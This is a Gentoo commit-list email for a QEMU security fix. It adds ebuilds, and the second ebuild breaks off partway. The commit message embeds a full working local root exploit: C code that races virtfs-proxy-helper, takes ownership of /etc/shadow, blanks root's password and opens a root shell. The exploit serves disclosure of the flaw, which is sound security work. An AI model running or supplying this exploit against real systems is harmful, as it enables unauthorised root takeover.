Gentoo Archives: gentoo-commits

From: Jason Donenfeld <zx2c4@g.o>
To: gentoo-commits@l.g.o
Subject: [gentoo-commits] repo/gentoo:master commit in: app-emulation/qemu/
Date: Mon, 14 Dec 2015 11:12:22
Message-Id: 1450091521.183dd7394703b49c7af441a9c4227b4b91453510.zx2c4@gentoo
1 commit: 183dd7394703b49c7af441a9c4227b4b91453510
2 Author: Jason A. Donenfeld <zx2c4 <AT> gentoo <DOT> org>
3 AuthorDate: Mon Dec 14 10:31:21 2015 +0000
4 Commit: Jason Donenfeld <zx2c4 <AT> gentoo <DOT> org>
5 CommitDate: Mon Dec 14 11:12:01 2015 +0000
6 URL: https://gitweb.gentoo.org/repo/gentoo.git/commit/?id=183dd739
7
8 app-emulation/qemu: critical security fix
9
10 The virtfs-proxy-helper program is not a safe binary to give caps.
11 The following exploit code demonstrates the vulnerability:
12
13 ~=~=~=~= snip ~=~=~=~=
14
15 /* == virtfshell ==
16 *
17 * Some distributions make virtfs-proxy-helper from QEMU either SUID or
18 * give it CAP_CHOWN fs capabilities. This is a terrible idea. While
19 * virtfs-proxy-helper makes some sort of flimsy check to make sure
20 * its socket path doesn't already exist, it is vulnerable to TOCTOU.
21 *
22 * This should spawn a root shell eventually on vulnerable systems.
23 *
24 * - zx2c4
25 * 2015-12-12
26 *
27 *
28 * zx2c4@thinkpad ~ $ lsb_release -i
29 * Distributor ID: Gentoo
30 * zx2c4 <AT> thinkpad ~ $ ./virtfshell
31 * == Virtfshell - by zx2c4 ==
32 * [+] Beginning race loop
33 * [+] Chown'd /etc/shadow, elevating to root
34 * [+] Cleaning up
35 * [+] Spawning root shell
36 * thinkpad zx2c4 # whoami
37 * root
38 *
39 */
40
41 #include <stdio.h>
42 #include <sys/wait.h>
43 #include <sys/stat.h>
44 #include <sys/types.h>
45 #include <sys/inotify.h>
46 #include <unistd.h>
47 #include <stdlib.h>
48 #include <signal.h>
49
50 static int it_worked(void)
51 {
52 struct stat sbuf = { 0 };
53 stat("/etc/shadow", &sbuf);
54 return sbuf.st_uid == getuid() && sbuf.st_gid == getgid();
55 }
56
57 int main(int argc, char **argv)
58 {
59 int fd;
60 pid_t pid;
61 char uid[12], gid[12];
62
63 sprintf(uid, "%d", getuid());
64 sprintf(gid, "%d", getgid());
65
66 printf("== Virtfshell - by zx2c4 ==\n");
67
68 printf("[+] Beginning race loop\n");
69
70 while (!it_worked()) {
71 fd = inotify_init();
72 unlink("/tmp/virtfshell/sock");
73 mkdir("/tmp/virtfshell", 0777);
74 inotify_add_watch(fd, "/tmp/virtfshell", IN_CREATE);
75 pid = fork();
76 if (!pid) {
77 close(0);
78 close(1);
79 close(2);
80 execlp("virtfs-proxy-helper", "virtfs-proxy-helper", "-n", "-p", "/tmp", "-u", uid, "-g", gid, "-s", "/tmp/virtfshell/sock", NULL);
81 _exit(1);
82 }
83 read(fd, 0, 0);
84 unlink("/tmp/virtfshell/sock");
85 symlink("/etc/shadow", "/tmp/virtfshell/sock");
86 close(fd);
87 kill(pid, SIGKILL);
88 wait(NULL);
89 }
90
91 printf("[+] Chown'd /etc/shadow, elevating to root\n");
92
93 system( "cp /etc/shadow /tmp/original_shadow;"
94 "sed 's/^root:.*/root::::::::/' /etc/shadow > /tmp/modified_shadow;"
95 "cat /tmp/modified_shadow > /etc/shadow;"
96 "su -c '"
97 " echo [+] Cleaning up;"
98 " cat /tmp/original_shadow > /etc/shadow;"
99 " chown root:root /etc/shadow;"
100 " rm /tmp/modified_shadow /tmp/original_shadow;"
101 " echo [+] Spawning root shell;"
102 " exec /bin/bash -i"
103 "'");
104 return 0;
105 }
106
107 app-emulation/qemu/qemu-2.3.0-r7.ebuild | 612 ++++++++++++++++++++++++++++
108 app-emulation/qemu/qemu-2.3.1-r1.ebuild | 598 +++++++++++++++++++++++++++
109 app-emulation/qemu/qemu-2.4.0-r2.ebuild | 640 +++++++++++++++++++++++++++++
110 app-emulation/qemu/qemu-2.4.0.1-r2.ebuild | 645 ++++++++++++++++++++++++++++++
111 4 files changed, 2495 insertions(+)
112
113 diff --git a/app-emulation/qemu/qemu-2.3.0-r7.ebuild b/app-emulation/qemu/qemu-2.3.0-r7.ebuild
114 new file mode 100644
115 index 0000000..b49f43c
116 --- /dev/null
117 +++ b/app-emulation/qemu/qemu-2.3.0-r7.ebuild
118 @@ -0,0 +1,612 @@
119 +# Copyright 1999-2015 Gentoo Foundation
120 +# Distributed under the terms of the GNU General Public License v2
121 +# $Id$
122 +
123 +EAPI=5
124 +
125 +PYTHON_COMPAT=( python2_7 )
126 +PYTHON_REQ_USE="ncurses,readline"
127 +
128 +inherit eutils flag-o-matic linux-info toolchain-funcs multilib python-r1 \
129 + user udev fcaps readme.gentoo pax-utils
130 +
131 +BACKPORTS=
132 +
133 +if [[ ${PV} = *9999* ]]; then
134 + EGIT_REPO_URI="git://git.qemu.org/qemu.git"
135 + inherit git-2
136 + SRC_URI=""
137 +else
138 + SRC_URI="http://wiki.qemu-project.org/download/${P}.tar.bz2
139 + ${BACKPORTS:+
140 + https://dev.gentoo.org/~cardoe/distfiles/${P}-${BACKPORTS}.tar.xz}"
141 + KEYWORDS="~amd64 ~ppc ~ppc64 ~x86 ~x86-fbsd"
142 +fi
143 +
144 +DESCRIPTION="QEMU + Kernel-based Virtual Machine userland tools"
145 +HOMEPAGE="http://www.qemu.org http://www.linux-kvm.org"
146 +
147 +LICENSE="GPL-2 LGPL-2 BSD-2"
148 +SLOT="0"
149 +IUSE="accessibility +aio alsa bluetooth +caps +curl debug +fdt glusterfs \
150 +gtk gtk2 infiniband iscsi +jpeg \
151 +kernel_linux kernel_FreeBSD lzo ncurses nfs nls numa opengl +pin-upstream-blobs
152 ++png pulseaudio python \
153 +rbd sasl +seccomp sdl selinux smartcard snappy spice ssh static static-softmmu \
154 +static-user systemtap tci test +threads tls usb usbredir +uuid vde +vhost-net \
155 +virtfs +vnc xattr xen xfs"
156 +
157 +COMMON_TARGETS="aarch64 alpha arm cris i386 m68k microblaze microblazeel mips
158 +mips64 mips64el mipsel or32 ppc ppc64 s390x sh4 sh4eb sparc sparc64 unicore32
159 +x86_64"
160 +IUSE_SOFTMMU_TARGETS="${COMMON_TARGETS} lm32 moxie ppcemb xtensa xtensaeb"
161 +IUSE_USER_TARGETS="${COMMON_TARGETS} armeb mipsn32 mipsn32el ppc64abi32 sparc32plus"
162 +
163 +use_softmmu_targets=$(printf ' qemu_softmmu_targets_%s' ${IUSE_SOFTMMU_TARGETS})
164 +use_user_targets=$(printf ' qemu_user_targets_%s' ${IUSE_USER_TARGETS})
165 +IUSE+=" ${use_softmmu_targets} ${use_user_targets}"
166 +
167 +# Require at least one softmmu or user target.
168 +# Block USE flag configurations known to not work.
169 +REQUIRED_USE="|| ( ${use_softmmu_targets} ${use_user_targets} )
170 + ${PYTHON_REQUIRED_USE}
171 + gtk2? ( gtk )
172 + qemu_softmmu_targets_arm? ( fdt )
173 + qemu_softmmu_targets_microblaze? ( fdt )
174 + qemu_softmmu_targets_ppc? ( fdt )
175 + qemu_softmmu_targets_ppc64? ( fdt )
176 + static? ( static-softmmu static-user )
177 + static-softmmu? ( !alsa !pulseaudio !bluetooth !opengl !gtk !gtk2 )
178 + virtfs? ( xattr )"
179 +
180 +# Yep, you need both libcap and libcap-ng since virtfs only uses libcap.
181 +#
182 +# The attr lib isn't always linked in (although the USE flag is always
183 +# respected). This is because qemu supports using the C library's API
184 +# when available rather than always using the extranl library.
185 +COMMON_LIB_DEPEND=">=dev-libs/glib-2.0[static-libs(+)]
186 + sys-libs/zlib[static-libs(+)]
187 + xattr? ( sys-apps/attr[static-libs(+)] )"
188 +SOFTMMU_LIB_DEPEND="${COMMON_LIB_DEPEND}
189 + >=x11-libs/pixman-0.28.0[static-libs(+)]
190 + aio? ( dev-libs/libaio[static-libs(+)] )
191 + caps? ( sys-libs/libcap-ng[static-libs(+)] )
192 + curl? ( >=net-misc/curl-7.15.4[static-libs(+)] )
193 + fdt? ( >=sys-apps/dtc-1.4.0[static-libs(+)] )
194 + glusterfs? ( >=sys-cluster/glusterfs-3.4.0[static-libs(+)] )
195 + infiniband? ( sys-infiniband/librdmacm:=[static-libs(+)] )
196 + jpeg? ( virtual/jpeg:=[static-libs(+)] )
197 + lzo? ( dev-libs/lzo:2[static-libs(+)] )
198 + ncurses? ( sys-libs/ncurses:0=[static-libs(+)] )
199 + nfs? ( >=net-fs/libnfs-1.9.3[static-libs(+)] )
200 + numa? ( sys-process/numactl[static-libs(+)] )
201 + png? ( media-libs/libpng:0=[static-libs(+)] )
202 + rbd? ( sys-cluster/ceph[static-libs(+)] )
203 + sasl? ( dev-libs/cyrus-sasl[static-libs(+)] )
204 + sdl? ( >=media-libs/libsdl-1.2.11[static-libs(+)] )
205 + seccomp? ( >=sys-libs/libseccomp-2.1.0[static-libs(+)] )
206 + snappy? ( app-arch/snappy[static-libs(+)] )
207 + spice? ( >=app-emulation/spice-0.12.0[static-libs(+)] )
208 + ssh? ( >=net-libs/libssh2-1.2.8[static-libs(+)] )
209 + tls? ( net-libs/gnutls[static-libs(+)] )
210 + usb? ( >=virtual/libusb-1-r1[static-libs(+)] )
211 + uuid? ( >=sys-apps/util-linux-2.16.0[static-libs(+)] )
212 + vde? ( net-misc/vde[static-libs(+)] )
213 + xfs? ( sys-fs/xfsprogs[static-libs(+)] )"
214 +USER_LIB_DEPEND="${COMMON_LIB_DEPEND}"
215 +X86_FIRMWARE_DEPEND="
216 + >=sys-firmware/ipxe-1.0.0_p20130624
217 + pin-upstream-blobs? (
218 + ~sys-firmware/seabios-1.7.5
219 + ~sys-firmware/sgabios-0.1_pre8
220 + ~sys-firmware/vgabios-0.7a
221 + )
222 + !pin-upstream-blobs? (
223 + sys-firmware/seabios
224 + sys-firmware/sgabios
225 + sys-firmware/vgabios
226 + )"
227 +CDEPEND="
228 + !static-softmmu? ( $(printf "%s? ( ${SOFTMMU_LIB_DEPEND//\[static-libs(+)]} ) " ${use_softmmu_targets}) )
229 + !static-user? ( $(printf "%s? ( ${USER_LIB_DEPEND//\[static-libs(+)]} ) " ${use_user_targets}) )
230 + qemu_softmmu_targets_i386? ( ${X86_FIRMWARE_DEPEND} )
231 + qemu_softmmu_targets_x86_64? ( ${X86_FIRMWARE_DEPEND} )
232 + accessibility? ( app-accessibility/brltty )
233 + alsa? ( >=media-libs/alsa-lib-1.0.13 )
234 + bluetooth? ( net-wireless/bluez )
235 + gtk? (
236 + gtk2? ( x11-libs/gtk+:2 )
237 + !gtk2? ( x11-libs/gtk+:3 )
238 + x11-libs/vte:2.90
239 + )
240 + iscsi? ( net-libs/libiscsi )
241 + opengl? ( virtual/opengl )
242 + pulseaudio? ( media-sound/pulseaudio )
243 + python? ( ${PYTHON_DEPS} )
244 + sdl? ( media-libs/libsdl[X] )
245 + smartcard? ( dev-libs/nss !app-emulation/libcacard )
246 + spice? ( >=app-emulation/spice-protocol-0.12.3 )
247 + systemtap? ( dev-util/systemtap )
248 + usbredir? ( >=sys-apps/usbredir-0.6 )
249 + virtfs? ( sys-libs/libcap )
250 + xen? ( app-emulation/xen-tools:= )"
251 +DEPEND="${CDEPEND}
252 + dev-lang/perl
253 + =dev-lang/python-2*
254 + sys-apps/texinfo
255 + virtual/pkgconfig
256 + kernel_linux? ( >=sys-kernel/linux-headers-2.6.35 )
257 + gtk? ( nls? ( sys-devel/gettext ) )
258 + static-softmmu? ( $(printf "%s? ( ${SOFTMMU_LIB_DEPEND} ) " ${use_softmmu_targets}) )
259 + static-user? ( $(printf "%s? ( ${USER_LIB_DEPEND} ) " ${use_user_targets}) )
260 + test? (
261 + dev-libs/glib[utils]
262 + sys-devel/bc
263 + )"
264 +RDEPEND="${CDEPEND}
265 + selinux? ( sec-policy/selinux-qemu )
266 +"
267 +
268 +STRIP_MASK="/usr/share/qemu/palcode-clipper"
269 +
270 +QA_PREBUILT="
271 + usr/share/qemu/openbios-ppc
272 + usr/share/qemu/openbios-sparc64
273 + usr/share/qemu/openbios-sparc32
274 + usr/share/qemu/palcode-clipper
275 + usr/share/qemu/s390-ccw.img
276 + usr/share/qemu/u-boot.e500
277 +"
278 +
279 +QA_WX_LOAD="usr/bin/qemu-i386
280 + usr/bin/qemu-x86_64
281 + usr/bin/qemu-alpha
282 + usr/bin/qemu-arm
283 + usr/bin/qemu-cris
284 + usr/bin/qemu-m68k
285 + usr/bin/qemu-microblaze
286 + usr/bin/qemu-microblazeel
287 + usr/bin/qemu-mips
288 + usr/bin/qemu-mipsel
289 + usr/bin/qemu-or32
290 + usr/bin/qemu-ppc
291 + usr/bin/qemu-ppc64
292 + usr/bin/qemu-ppc64abi32
293 + usr/bin/qemu-sh4
294 + usr/bin/qemu-sh4eb
295 + usr/bin/qemu-sparc
296 + usr/bin/qemu-sparc64
297 + usr/bin/qemu-armeb
298 + usr/bin/qemu-sparc32plus
299 + usr/bin/qemu-s390x
300 + usr/bin/qemu-unicore32"
301 +
302 +DOC_CONTENTS="If you don't have kvm compiled into the kernel, make sure
303 +you have the kernel module loaded before running kvm. The easiest way to
304 +ensure that the kernel module is loaded is to load it on boot.\n
305 +For AMD CPUs the module is called 'kvm-amd'\n
306 +For Intel CPUs the module is called 'kvm-intel'\n
307 +Please review /etc/conf.d/modules for how to load these\n\n
308 +Make sure your user is in the 'kvm' group\n
309 +Just run 'gpasswd -a <USER> kvm', then have <USER> re-login."
310 +
311 +qemu_support_kvm() {
312 + if use qemu_softmmu_targets_x86_64 || use qemu_softmmu_targets_i386 \
313 + use qemu_softmmu_targets_ppc || use qemu_softmmu_targets_ppc64 \
314 + use qemu_softmmu_targets_s390x; then
315 + return 0
316 + fi
317 +
318 + return 1
319 +}
320 +
321 +pkg_pretend() {
322 + if use kernel_linux && kernel_is lt 2 6 25; then
323 + eerror "This version of KVM requres a host kernel of 2.6.25 or higher."
324 + elif use kernel_linux; then
325 + if ! linux_config_exists; then
326 + eerror "Unable to check your kernel for KVM support"
327 + else
328 + CONFIG_CHECK="~KVM ~TUN ~BRIDGE"
329 + ERROR_KVM="You must enable KVM in your kernel to continue"
330 + ERROR_KVM_AMD="If you have an AMD CPU, you must enable KVM_AMD in"
331 + ERROR_KVM_AMD+=" your kernel configuration."
332 + ERROR_KVM_INTEL="If you have an Intel CPU, you must enable"
333 + ERROR_KVM_INTEL+=" KVM_INTEL in your kernel configuration."
334 + ERROR_TUN="You will need the Universal TUN/TAP driver compiled"
335 + ERROR_TUN+=" into your kernel or loaded as a module to use the"
336 + ERROR_TUN+=" virtual network device if using -net tap."
337 + ERROR_BRIDGE="You will also need support for 802.1d"
338 + ERROR_BRIDGE+=" Ethernet Bridging for some network configurations."
339 + use vhost-net && CONFIG_CHECK+=" ~VHOST_NET"
340 + ERROR_VHOST_NET="You must enable VHOST_NET to have vhost-net"
341 + ERROR_VHOST_NET+=" support"
342 +
343 + if use amd64 || use x86 || use amd64-linux || use x86-linux; then
344 + CONFIG_CHECK+=" ~KVM_AMD ~KVM_INTEL"
345 + fi
346 +
347 + use python && CONFIG_CHECK+=" ~DEBUG_FS"
348 + ERROR_DEBUG_FS="debugFS support required for kvm_stat"
349 +
350 + # Now do the actual checks setup above
351 + check_extra_config
352 + fi
353 + fi
354 +
355 + if grep -qs '/usr/bin/qemu-kvm' "${EROOT}"/etc/libvirt/qemu/*.xml; then
356 + eerror "The kvm/qemu-kvm wrappers no longer exist, but your libvirt"
357 + eerror "instances are still pointing to it. Please update your"
358 + eerror "configs in /etc/libvirt/qemu/ to use the -enable-kvm flag"
359 + eerror "and the right system binary (e.g. qemu-system-x86_64)."
360 + die "update your virt configs to not use qemu-kvm"
361 + fi
362 +}
363 +
364 +pkg_setup() {
365 + enewgroup kvm 78
366 +}
367 +
368 +src_prepare() {
369 + # Alter target makefiles to accept CFLAGS set via flag-o
370 + sed -i -r \
371 + -e 's/^(C|OP_C|HELPER_C)FLAGS=/\1FLAGS+=/' \
372 + Makefile Makefile.target || die
373 +
374 + # Cheap hack to disable gettext .mo generation.
375 + use nls || rm -f po/*.po
376 +
377 + epatch "${FILESDIR}"/qemu-1.7.0-cflags.patch
378 + epatch "${FILESDIR}"/${P}-CVE-2015-3456.patch #549404
379 + epatch "${FILESDIR}"/${P}-CVE-2015-3209.patch #551752
380 + epatch "${FILESDIR}"/${P}-CVE-2015-5158.patch #555680
381 + epatch "${FILESDIR}"/${P}-CVE-2015-3214.patch #556052
382 + epatch "${FILESDIR}"/${P}-CVE-2015-5154-1.patch #556050 / #555532
383 + epatch "${FILESDIR}"/${P}-CVE-2015-5154-2.patch #556050 / #555532
384 + epatch "${FILESDIR}"/${P}-CVE-2015-5154-3.patch #556050 / #555532
385 + epatch "${FILESDIR}"/${P}-CVE-2015-5165-1.patch #556304
386 + epatch "${FILESDIR}"/${P}-CVE-2015-5165-2.patch #556304
387 + epatch "${FILESDIR}"/${P}-CVE-2015-5165-3.patch #556304
388 + epatch "${FILESDIR}"/${P}-CVE-2015-5165-4.patch #556304
389 + epatch "${FILESDIR}"/${P}-CVE-2015-5165-5.patch #556304
390 + epatch "${FILESDIR}"/${P}-CVE-2015-5165-6.patch #556304
391 + epatch "${FILESDIR}"/${P}-CVE-2015-5165-7.patch #556304
392 + epatch "${FILESDIR}"/${P}-CVE-2015-5166.patch #556304
393 + epatch "${FILESDIR}"/${P}-virtio-serial.patch #557206
394 + [[ -n ${BACKPORTS} ]] && \
395 + EPATCH_FORCE=yes EPATCH_SUFFIX="patch" EPATCH_SOURCE="${S}/patches" \
396 + epatch
397 +
398 + # Fix ld and objcopy being called directly
399 + tc-export AR LD OBJCOPY
400 +
401 + # Verbose builds
402 + MAKEOPTS+=" V=1"
403 +
404 + epatch_user
405 +}
406 +
407 +##
408 +# configures qemu based on the build directory and the build type
409 +# we are using.
410 +#
411 +qemu_src_configure() {
412 + debug-print-function ${FUNCNAME} "$@"
413 +
414 + local buildtype=$1
415 + local builddir=$2
416 + local static_flag="static-${buildtype}"
417 +
418 + # audio options
419 + local audio_opts="oss"
420 + use alsa && audio_opts="alsa,${audio_opts}"
421 + use sdl && audio_opts="sdl,${audio_opts}"
422 + use pulseaudio && audio_opts="pa,${audio_opts}"
423 +
424 + local conf_opts=(
425 + --prefix=/usr
426 + --sysconfdir=/etc
427 + --libdir=/usr/$(get_libdir)
428 + --docdir=/usr/share/doc/${PF}/html
429 + --disable-bsd-user
430 + --disable-guest-agent
431 + --disable-strip
432 + --disable-werror
433 + --python="${PYTHON}"
434 + --cc="$(tc-getCC)"
435 + --cxx="$(tc-getCXX)"
436 + --host-cc="$(tc-getBUILD_CC)"
437 + $(use_enable debug debug-info)
438 + $(use_enable debug debug-tcg)
439 + --enable-docs
440 + $(use_enable tci tcg-interpreter)
441 + $(use_enable xattr attr)
442 + )
443 +
444 + # Disable options not used by user targets as the default configure
445 + # options will autoprobe and try to link in a bunch of unused junk.
446 + conf_softmmu() {
447 + if [[ ${buildtype} == "user" ]] ; then
448 + echo "--disable-${2:-$1}"
449 + else
450 + use_enable "$@"
451 + fi
452 + }
453 + conf_opts+=(
454 + $(conf_softmmu accessibility brlapi)
455 + $(conf_softmmu aio linux-aio)
456 + $(conf_softmmu bluetooth bluez)
457 + $(conf_softmmu caps cap-ng)
458 + $(conf_softmmu curl)
459 + $(conf_softmmu fdt)
460 + $(conf_softmmu glusterfs)
461 + $(conf_softmmu gtk)
462 + $(conf_softmmu infiniband rdma)
463 + $(conf_softmmu iscsi libiscsi)
464 + $(conf_softmmu jpeg vnc-jpeg)
465 + $(conf_softmmu kernel_linux kvm)
466 + $(conf_softmmu lzo)
467 + $(conf_softmmu ncurses curses)
468 + $(conf_softmmu nfs libnfs)
469 + $(conf_softmmu numa)
470 + $(conf_softmmu opengl)
471 + $(conf_softmmu png vnc-png)
472 + $(conf_softmmu rbd)
473 + $(conf_softmmu sasl vnc-sasl)
474 + $(conf_softmmu sdl)
475 + $(conf_softmmu seccomp)
476 + $(conf_softmmu smartcard smartcard-nss)
477 + $(conf_softmmu snappy)
478 + $(conf_softmmu spice)
479 + $(conf_softmmu ssh libssh2)
480 + $(conf_softmmu tls quorum)
481 + $(conf_softmmu tls vnc-tls)
482 + $(conf_softmmu tls vnc-ws)
483 + $(conf_softmmu usb libusb)
484 + $(conf_softmmu usbredir usb-redir)
485 + $(conf_softmmu uuid)
486 + $(conf_softmmu vde)
487 + $(conf_softmmu vhost-net)
488 + $(conf_softmmu virtfs)
489 + $(conf_softmmu vnc)
490 + $(conf_softmmu xen)
491 + $(conf_softmmu xen xen-pci-passthrough)
492 + $(conf_softmmu xfs xfsctl)
493 + )
494 +
495 + case ${buildtype} in
496 + user)
497 + conf_opts+=(
498 + --enable-linux-user
499 + --disable-system
500 + --target-list="${user_targets}"
501 + --disable-blobs
502 + --disable-tools
503 + )
504 + ;;
505 + softmmu)
506 + conf_opts+=(
507 + --disable-linux-user
508 + --enable-system
509 + --target-list="${softmmu_targets}"
510 + --with-system-pixman
511 + --audio-drv-list="${audio_opts}"
512 + )
513 + use gtk && conf_opts+=( --with-gtkabi=$(usex gtk2 2.0 3.0) )
514 + ;;
515 + esac
516 +
517 + # Add support for SystemTAP
518 + use systemtap && conf_opts+=( --enable-trace-backend=dtrace )
519 +
520 + # We always want to attempt to build with PIE support as it results
521 + # in a more secure binary. But it doesn't work with static or if
522 + # the current GCC doesn't have PIE support.
523 + if use ${static_flag}; then
524 + conf_opts+=( --static --disable-pie )
525 + else
526 + gcc-specs-pie && conf_opts+=( --enable-pie )
527 + fi
528 +
529 + einfo "../configure ${conf_opts[*]}"
530 + cd "${builddir}"
531 + ../configure "${conf_opts[@]}" || die "configure failed"
532 +
533 + # FreeBSD's kernel does not support QEMU assigning/grabbing
534 + # host USB devices yet
535 + use kernel_FreeBSD && \
536 + sed -i -E -e "s|^(HOST_USB=)bsd|\1stub|" "${S}"/config-host.mak
537 +}
538 +
539 +src_configure() {
540 + local target
541 +
542 + python_setup
543 +
544 + softmmu_targets= softmmu_bins=()
545 + user_targets= user_bins=()
546 +
547 + for target in ${IUSE_SOFTMMU_TARGETS} ; do
548 + if use "qemu_softmmu_targets_${target}"; then
549 + softmmu_targets+=",${target}-softmmu"
550 + softmmu_bins+=( "qemu-system-${target}" )
551 + fi
552 + done
553 +
554 + for target in ${IUSE_USER_TARGETS} ; do
555 + if use "qemu_user_targets_${target}"; then
556 + user_targets+=",${target}-linux-user"
557 + user_bins+=( "qemu-${target}" )
558 + fi
559 + done
560 +
561 + [[ -n ${softmmu_targets} ]] && \
562 + einfo "Building the following softmmu targets: ${softmmu_targets}"
563 +
564 + [[ -n ${user_targets} ]] && \
565 + einfo "Building the following user targets: ${user_targets}"
566 +
567 + if [[ -n ${softmmu_targets} ]]; then
568 + mkdir "${S}/softmmu-build"
569 + qemu_src_configure "softmmu" "${S}/softmmu-build"
570 + fi
571 +
572 + if [[ -n ${user_targets} ]]; then
573 + mkdir "${S}/user-build"
574 + qemu_src_configure "user" "${S}/user-build"
575 + fi
576 +}
577 +
578 +src_compile() {
579 + if [[ -n ${user_targets} ]]; then
580 + cd "${S}/user-build"
581 + default
582 + fi
583 +
584 + if [[ -n ${softmmu_targets} ]]; then
585 + cd "${S}/softmmu-build"
586 + default
587 + fi
588 +}
589 +
590 +src_test() {
591 + if [[ -n ${softmmu_targets} ]]; then
592 + cd "${S}/softmmu-build"
593 + pax-mark m */qemu-system-* #515550
594 + emake -j1 check
595 + emake -j1 check-report.html
596 + fi
597 +}
598 +
599 +qemu_python_install() {
600 + python_domodule "${S}/scripts/qmp/qmp.py"
601 +
602 + python_doscript "${S}/scripts/kvm/kvm_stat"
603 + python_doscript "${S}/scripts/kvm/vmxcap"
604 + python_doscript "${S}/scripts/qmp/qmp-shell"
605 + python_doscript "${S}/scripts/qmp/qemu-ga-client"
606 +}
607 +
608 +src_install() {
609 + if [[ -n ${user_targets} ]]; then
610 + cd "${S}/user-build"
611 + emake DESTDIR="${ED}" install
612 +
613 + # Install binfmt handler init script for user targets
614 + newinitd "${FILESDIR}/qemu-binfmt.initd-r1" qemu-binfmt
615 + fi
616 +
617 + if [[ -n ${softmmu_targets} ]]; then
618 + cd "${S}/softmmu-build"
619 + emake DESTDIR="${ED}" install
620 +
621 + # This might not exist if the test failed. #512010
622 + [[ -e check-report.html ]] && dohtml check-report.html
623 +
624 + if use kernel_linux; then
625 + udev_dorules "${FILESDIR}"/65-kvm.rules
626 + fi
627 +
628 + if use python; then
629 + python_foreach_impl qemu_python_install
630 + fi
631 + fi
632 +
633 + # Disable mprotect on the qemu binaries as they use JITs to be fast #459348
634 + pushd "${ED}"/usr/bin >/dev/null
635 + pax-mark m "${softmmu_bins[@]}" "${user_bins[@]}"
636 + popd >/dev/null
637 +
638 + # Install config file example for qemu-bridge-helper
639 + insinto "/etc/qemu"
640 + doins "${FILESDIR}/bridge.conf"
641 +
642 + # Remove the docdir placed qmp-commands.txt
643 + mv "${ED}/usr/share/doc/${PF}/html/qmp-commands.txt" "${S}/docs/qmp/"
644 +
645 + cd "${S}"
646 + dodoc Changelog MAINTAINERS docs/specs/pci-ids.txt
647 + newdoc pc-bios/README README.pc-bios
648 + dodoc docs/qmp/*.txt
649 +
650 + if [[ -n ${softmmu_targets} ]]; then
651 + # Remove SeaBIOS since we're using the SeaBIOS packaged one
652 + rm "${ED}/usr/share/qemu/bios.bin"
653 + if use qemu_softmmu_targets_x86_64 || use qemu_softmmu_targets_i386; then
654 + dosym ../seabios/bios.bin /usr/share/qemu/bios.bin
655 + fi
656 +
657 + # Remove vgabios since we're using the vgabios packaged one
658 + rm "${ED}/usr/share/qemu/vgabios.bin"
659 + rm "${ED}/usr/share/qemu/vgabios-cirrus.bin"
660 + rm "${ED}/usr/share/qemu/vgabios-qxl.bin"
661 + rm "${ED}/usr/share/qemu/vgabios-stdvga.bin"
662 + rm "${ED}/usr/share/qemu/vgabios-vmware.bin"
663 + if use qemu_softmmu_targets_x86_64 || use qemu_softmmu_targets_i386; then
664 + dosym ../vgabios/vgabios.bin /usr/share/qemu/vgabios.bin
665 + dosym ../vgabios/vgabios-cirrus.bin /usr/share/qemu/vgabios-cirrus.bin
666 + dosym ../vgabios/vgabios-qxl.bin /usr/share/qemu/vgabios-qxl.bin
667 + dosym ../vgabios/vgabios-stdvga.bin /usr/share/qemu/vgabios-stdvga.bin
668 + dosym ../vgabios/vgabios-vmware.bin /usr/share/qemu/vgabios-vmware.bin
669 + fi
670 +
671 + # Remove sgabios since we're using the sgabios packaged one
672 + rm "${ED}/usr/share/qemu/sgabios.bin"
673 + if use qemu_softmmu_targets_x86_64 || use qemu_softmmu_targets_i386; then
674 + dosym ../sgabios/sgabios.bin /usr/share/qemu/sgabios.bin
675 + fi
676 +
677 + # Remove iPXE since we're using the iPXE packaged one
678 + rm "${ED}"/usr/share/qemu/pxe-*.rom
679 + if use qemu_softmmu_targets_x86_64 || use qemu_softmmu_targets_i386; then
680 + dosym ../ipxe/8086100e.rom /usr/share/qemu/pxe-e1000.rom
681 + dosym ../ipxe/80861209.rom /usr/share/qemu/pxe-eepro100.rom
682 + dosym ../ipxe/10500940.rom /usr/share/qemu/pxe-ne2k_pci.rom
683 + dosym ../ipxe/10222000.rom /usr/share/qemu/pxe-pcnet.rom
684 + dosym ../ipxe/10ec8139.rom /usr/share/qemu/pxe-rtl8139.rom
685 + dosym ../ipxe/1af41000.rom /usr/share/qemu/pxe-virtio.rom
686 + fi
687 + fi
688 +
689 + qemu_support_kvm && readme.gentoo_create_doc
690 +}
691 +
692 +pkg_postinst() {
693 + if qemu_support_kvm; then
694 + readme.gentoo_print_elog
695 + ewarn "Migration from qemu-kvm instances and loading qemu-kvm created"
696 + ewarn "save states has been removed starting with the 1.6.2 release"
697 + ewarn
698 + ewarn "It is recommended that you migrate any VMs that may be running"
699 + ewarn "on qemu-kvm to a host with a newer qemu and regenerate"
700 + ewarn "any saved states with a newer qemu."
701 + ewarn
702 + ewarn "qemu-kvm was the primary qemu provider in Gentoo through 1.2.x"
703 +
704 + if use x86 || use amd64; then
705 + ewarn
706 + ewarn "The /usr/bin/kvm and /usr/bin/qemu-kvm wrappers are no longer"
707 + ewarn "installed. In order to use kvm acceleration, pass the flag"
708 + ewarn "-enable-kvm when running your system target."
709 + fi
710 + fi
711 +
712 + if [[ -n ${softmmu_targets} ]] && use kernel_linux; then
713 + udev_reload
714 + fi
715 +
716 + fcaps cap_net_admin /usr/libexec/qemu-bridge-helper
717 +}
718 +
719 +pkg_info() {
720 + echo "Using:"
721 + echo " $(best_version app-emulation/spice-protocol)"
722 + echo " $(best_version sys-firmware/ipxe)"
723 + echo " $(best_version sys-firmware/seabios)"
724 + if has_version sys-firmware/seabios[binary]; then
725 + echo " USE=binary"
726 + else
727 + echo " USE=''"
728 + fi
729 + echo " $(best_version sys-firmware/vgabios)"
730 +}
731
732 diff --git a/app-emulation/qemu/qemu-2.3.1-r1.ebuild b/app-emulation/qemu/qemu-2.3.1-r1.ebuild
733 new file mode 100644
734 index 0000000..d3349e4
735 --- /dev/null
736 +++ b/app-emulation/qemu/qemu-2.3.1-r1.ebuild
737 @@ -0,0 +1,598 @@
738 +# Copyright 1999-2015 Gentoo Foundation
739 +# Distributed under the terms of the GNU General Public License v2
740 +# $Id$
741 +
742 +EAPI=5
743 +
744 +PYTHON_COMPAT=( python2_7 )
745 +PYTHON_REQ_USE="ncurses,readline"
746 +
747 +inherit eutils flag-o-matic linux-info toolchain-funcs multilib python-r1 \
748 + user udev fcaps readme.gentoo pax-utils
749 +
750 +BACKPORTS=
751 +
752 +if [[ ${PV} = *9999* ]]; then
753 + EGIT_REPO_URI="git://git.qemu.org/qemu.git"
754 + inherit git-2
755 + SRC_URI=""
756 +else
